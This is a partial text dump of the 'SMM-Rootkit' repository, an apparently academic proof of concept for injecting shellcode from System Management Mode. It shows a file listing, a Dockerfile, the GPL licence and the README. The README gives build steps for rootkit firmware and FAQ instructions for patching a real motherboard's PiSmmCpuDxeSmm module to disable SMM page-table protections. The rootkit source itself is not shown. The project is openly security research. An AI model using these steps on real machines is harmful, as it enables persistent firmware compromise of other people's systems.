Full Code of jussihi/SMM-Rootkit for AI

master 1ac885f1cd14 cached
40 files
281.7 KB
83.3k tokens
135 symbols
1 requests
Download .txt
Showing preview only (296K chars total). Download the full file or copy to clipboard to get everything.
Repository: jussihi/SMM-Rootkit
Branch: master
Commit: 1ac885f1cd14
Files: 40
Total size: 281.7 KB

Directory structure:
gitextract_y9b5pqko/

├── .gitignore
├── Dockerfile
├── LICENSE
├── README.md
├── SMM Rootkit/
│   ├── Conf/
│   │   └── target.txt
│   ├── OvmfPkg/
│   │   ├── OvmfPkgX64.dsc
│   │   └── OvmfPkgX64.fdf
│   ├── SMMRootkit/
│   │   ├── .gitignore
│   │   ├── MemManager.c
│   │   ├── MemManager.h
│   │   ├── Memory.c
│   │   ├── Memory.h
│   │   ├── MemoryMapUEFI.c
│   │   ├── MemoryMapUEFI.h
│   │   ├── SMMRootkit.c
│   │   ├── SMMRootkit.inf
│   │   ├── TimerRTC.c
│   │   ├── TimerRTC.h
│   │   ├── WinTools.c
│   │   ├── WinTools.h
│   │   ├── WinUmdIATHook.c
│   │   ├── WinUmdIATHook.h
│   │   ├── helpers.asm
│   │   ├── serial.c
│   │   ├── serial.h
│   │   ├── string.c
│   │   ├── string.h
│   │   └── windows.h
│   └── UefiCpuPkg/
│       ├── PiSmmCpuDxeSmm/
│       │   └── X64/
│       │       └── PageTbl.c
│       └── UefiCpuPkg.dec
├── run_docker.sh
├── shellcode/
│   └── windows_x64_umd_iat/
│       ├── README.md
│       ├── windows_x64_umd_iat.asm
│       └── windows_x64_umd_iat.c
└── target_tests/
    └── windows_x64_umd_iat/
        ├── .gitignore
        ├── README.md
        ├── windows_x64_umd_iat/
        │   ├── windows_x64_umd_iat.cpp
        │   ├── windows_x64_umd_iat.vcxproj
        │   └── windows_x64_umd_iat.vcxproj.filters
        └── windows_x64_umd_iat.sln

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
edk2/*

================================================
FILE: Dockerfile
================================================
FROM ubuntu:16.04
MAINTAINER Jussi Hietanen

RUN \
	apt-get update && \
	apt-get -y install ccache build-essential python python-pip qemu sudo nano libgcc-5-dev uuid-dev nasm iasl git wget zip xorg-dev p7zip-full


================================================
FILE: LICENSE
================================================
                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <https://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

  If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

    <program>  Copyright (C) <year>  <name of author>
    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".

  You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.

  The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.


================================================
FILE: README.md
================================================
# SMM Rootkit

## Table of contents
- [Repository Contents](#repository-contents)
  * [SMM Rootkit](#smm-rootkit-1)
  * [shellcode](#shellcode)
  * [target_tests](#target_tests)
- [Compiling](#compiling)
  * [First time setup](#first-time-setup)
  * [Building](#building)
- [Running the OVMF inside QEMU/KVM](#running-the-ovmf-inside-qemukvm)
  * [VM setup](#vm-setup)
  * [Running](#running)
- [FAQ](#faq)
  * [How to patch PiSmmCpuDxeSmm](#how-to-patch-pismmcpudxesmm)
  * [No serial output after boot](#no-serial-output-after-boot)

## Intro

This System Management Mode (SMM) rootkit is a PoC to demonstrate how injecting shellcode to a ring0/ring3 context can be achieved from the SMM. 

If you want to read about SMM rootkits in general and about how this SMM rootkit was implemented, please read my recent [blog post](https://jussihi.kapsi.fi/2022-09-08-smmrootkit/) about it! Also please check our newest SMM-related project, [Hermes](https://github.com/pRain1337/Hermes), which enables SMM-level privilege escalation with interactive usermode application!

Created by Jussi Hietanen (Aalto University, Espoo FI) and Diego Caminada (HF-ICT, Muttenz CH).

## Repository Contents

#### SMM Rootkit
This folder contains the files & folders to be copied to the edk2 root dir to compile the SMM Rootkit with the rest of the OVMF. It includes ready-made configuration files and modified source files to allow the rootkit to access the whole 64-bit memory address space with on-demand paging.

#### shellcode
Contains shellcode to be generated for the SMM rootkit. This shellcode is then injected from the SMM to whatever process/operating system is targeted. You can read more about different types of attacks from their subfolders. Currently there is only Windows x64 usermode IAT hooking, but more should be added!

#### target_tests
Contains test programs to test the Rootkit functionality. For more information, check the subfolders' readmes.

## Compiling

### First time setup

Skip to "Building" if you have done the first-time setup already.

1. Clone the EDK2 inside this repo and checkout the right tag (vUDK2018, see step 3 for why this tag). 
```
$ git clone git@github.com:tianocore/edk2.git
$ cd edk2
$ git checkout vUDK2018
```

2. Start docker build env and setup BaseTools
```
# ./run_docker.sh
```
Inside docker, 
```
# cd edk2 
# make -C BaseTools
# . edksetup.sh
```

3. Exit docker, and copy the contents of SMM Rootkit folder to edk2 folder **(It is important to use the tag vUDK2018, otherwise the ready-patched files inside the SMM Rootkit folder won't match and the OVMF may not build successfully)**, in repo root run
```
# cp -r SMM\ Rootkit/* edk2/
```

First time setup is done!

### Building

Run
```
# ./run_docker.sh
```

Then, inside the docker,
```
# cd edk2
# . edksetup.sh
# build -DSMM_REQUIRE
```

The resulting OVMF firmware will be inside `edk2/Build/OvmfX64/RELEASE_GCC5/FV`.

## Running the OVMF inside QEMU/KVM

### VM Setup

Needed packages:
```
qemu libvirt virt-manager ebtables dnsmasq
```

For qemu to show the custom OVMF binary, you need to create a file `/usr/share/qemu/firmware/60-ovmf-rootkit-x86_64.json` and inside it add our FV entry:
```
{
  "description": "UEFI SMM rootkit OVMF firmware for x86_64",
  "interface-types": [
    "uefi"
  ],
  "mapping": {
    "device": "flash",
    "executable": {
      "filename": "/your/path/to-git/SMM-Rootkit/edk2/Build/OvmfX64/RELEASE_GCC5/FV/OVMF_CODE.fd",
      "format": "raw"
    },
    "nvram-template": {
      "filename": "/your/path/to-git/SMM-Rootkit/edk2/Build/OvmfX64/RELEASE_GCC5/FV/OVMF_VARS.fd",
      "format": "raw"
    }
  },
  "targets": [
    {
      "architecture": "x86_64",
      "machines": [
        "pc-i440fx-*",
        "pc-q35-*"
      ]
    }
  ],
  "features": [
    "acpi-s3",
    "amd-sev",
    "verbose-dynamic"
  ],
  "tags": [
    
  ]
}
```

Now you may create a new virtual machine. During setup, in the last state, check the box "Customize configuration before install" before clicking "Finish". From the next window, change the Firmware to the *UEFI SMM rootkit OVMF firmware for x86_64* configured earlier.

### Running

To start the vm, enable service `libvirtd` and enable default network; 
```
# virsh net-start default
```

To check the serial output (the VM must be powered on)
```
# virsh list
/* win10 is the name of the libvirt instance */
# virsh console win10
```

## FAQ

### How to patch PiSmmCpuDxeSmm

If you are trying to run this SMM rootkit on real hardware, you need to patch your motherboard's `PiSmmCpuDxeSmm` module from the UEFI firmware. You can mimick [our patch](https://github.com/jussihi/SMM-Rootkit/tree/master/SMM%20Rootkit/UefiCpuPkg) by 

Patching this variable initialization out and hard code the variable itself to 0 with your favorite disassembler (IDA or similar):
https://github.com/tianocore/edk2/blob/master/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c#L352

Easiest way to find that function (SmmInitPageTable) is to search for the strings of the error messages:
https://github.com/tianocore/edk2/blob/master/UefiCpuPkg/Library/CpuExceptionHandlerLib/X64/ArchExceptionHandler.c#L265

Which is referenced multiple times in the SMI Page fault handler:
https://github.com/tianocore/edk2/blob/master/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c#L1003

And the page fault handler is initialized in the same function as the variable initialization (SmmInitPageTable):
https://github.com/tianocore/edk2/blob/master/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c#L442

### No serial output after boot

Sometimes the serial traffic is blocked as the operating system's own serial driver. This is at least the case in Windows systems when not booting inside a (QEMU/KVM) virtual machine.

#### There are two ways to get serial working on this sort of situation:

- Block the Operating System from loading the driver.

On GNU+Linux, you can disable the driver completely if one is loaded. On Windows systems, you might need to rename/delete the system's serial driver. The default path to the driver executable is  `C:\Windows\System32\drivers\serial.sys`

- Open an SSH client locally

You can also open the connection to the local serial port using your favorite serial client. At least on Windows this will prevent Windows' own driver from suppressing the serial output.


================================================
FILE: SMM Rootkit/Conf/target.txt
================================================
#
#  Copyright (c) 2006 - 2018, Intel Corporation. All rights reserved.<BR>
#
#  This program and the accompanying materials
#  are licensed and made available under the terms and conditions of the BSD License
#  which accompanies this distribution.  The full text of the license may be found at
#  http://opensource.org/licenses/bsd-license.php

#  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
#  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
#
#
#  ALL Paths are Relative to WORKSPACE

